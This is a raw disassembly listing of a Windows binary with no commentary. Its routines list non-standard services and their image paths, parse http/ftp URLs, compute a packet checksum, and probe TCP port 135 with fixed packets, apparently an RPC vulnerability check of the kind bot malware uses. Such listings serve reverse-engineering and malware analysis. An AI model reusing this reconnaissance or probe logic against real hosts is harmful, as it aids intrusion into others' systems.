var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4207E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		call	near ptr 2900956h
		nop
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42082F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42082F:				; CODE XREF: sub_4207E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44433C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_444324
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_401424
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_50F710
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420B8F
		mov	ebp, dword_50F75C


loc_420A6B:				; CODE XREF: sub_4207E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420A97
		lea	esi, [esp+524h+var_4E0]


loc_420A78:				; CODE XREF: sub_4207E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_420B73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420A78


loc_420A97:				; CODE XREF: sub_4207E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_401681
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420AE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420AE3:				; CODE XREF: sub_4207E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		call	near ptr 28E0000h
		nop
		cmp	eax, ebx
		jz	short loc_420B1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420B1D:				; CODE XREF: sub_4207E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420B3A:				; CODE XREF: sub_4207E0+301j
					; sub_4207E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014C9
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420B73:				; CODE XREF: sub_4207E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420A6B
		mov	ebp, [esp+524h+var_4FC]


loc_420B8F:				; CODE XREF: sub_4207E0+27Fj
		push	ebp
		nop
		call	near ptr 2910304h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4207E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 2880BF0h
		push	eax
		nop
		call	near ptr 2880000h
		mov	eax, esi
		pop	esi
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: sub_401A28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420D39


loc_420D22:				; CODE XREF: sub_420D00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420D22
		cmp	ecx, 0
		jz	short loc_420D4A


loc_420D39:				; CODE XREF: sub_420D00+20j
					; sub_420D00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420D39


loc_420D4A:				; CODE XREF: sub_420D00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50BB64, eax
		mov	eax, offset dword_50BB64
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DC0:				; CODE XREF: ___:00401771j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_50FAA0
		push	esi
		call	edi	; ftell
		mov	ebp, dword_50FA98
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E10	proc near		; CODE XREF: sub_401938j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420E3F
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420E10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_401424
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015D7
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420E10+92j
					; sub_420E10+A2j
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D20
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_444410 ; "/"
		push	1
		jz	loc_42120C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_420FC9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420FC9:				; CODE XREF: sub_420E10+19Cj
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421095
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42107E
		mov	dword ptr [esi+54h], 50h


loc_42107E:				; CODE XREF: sub_420E10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421095
		mov	dword ptr [esi+54h], 15h


loc_421095:				; CODE XREF: sub_420E10+255j
					; sub_420E10+27Cj
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016AE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42114E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420E10+321j
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016AE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42120C:				; CODE XREF: sub_420E10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421293
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_420E10+466j
		push	offset asc_444410 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421333
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42131C
		mov	dword ptr [esi+54h], 50h


loc_42131C:				; CODE XREF: sub_420E10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		mov	dword ptr [esi+54h], 15h


loc_421333:				; CODE XREF: sub_420E10+3DBj
					; sub_420E10+4F3j ...
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013E3
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E2E
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013E3
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013E3
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_444410 ; "/"
		mov	ecx, esi
		call	sub_4015D7
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016BD
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421419:				; CODE XREF: sub_420E10+2Aj
					; sub_420E10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4215D0	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4215FB


loc_4215E4:				; CODE XREF: sub_4215D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421602
		inc	eax
		cmp	eax, edx
		jl	short loc_4215E4


loc_4215FB:				; CODE XREF: sub_4215D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421602:				; CODE XREF: sub_4215D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4215D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421620:				; CODE XREF: ___:0040209Aj
		mov	eax, 2010h
		call	sub_436840
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42166D
		dec	eax
		jz	short loc_421647
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421647:				; CODE XREF: ___:00421638j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402004
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: ___:00421635j
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	ebp, dword_50FC8C
		push	0
		push	48h
		push	offset dword_443DD8
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	edi, dword_50FC90
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4217C2
		push	0
		push	18h
		push	offset dword_443E4C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4217C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4217C2
		push	10h
		push	offset loc_443E24
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AEB
		add	esp, 10h
		test	al, al
		jz	short loc_421791
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: ___:0042176Ej
		push	10h
		push	offset dword_443E38
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AEB
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4217C2:				; CODE XREF: ___:004216DBj
					; ___:004216F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4217C9:				; CODE XREF: ___:0042167Ej
					; ___:00421687j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421850:				; CODE XREF: ___:00401A00j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421870	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421870	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218B0	proc near		; CODE XREF: sub_4018D9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401901
sub_4218B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
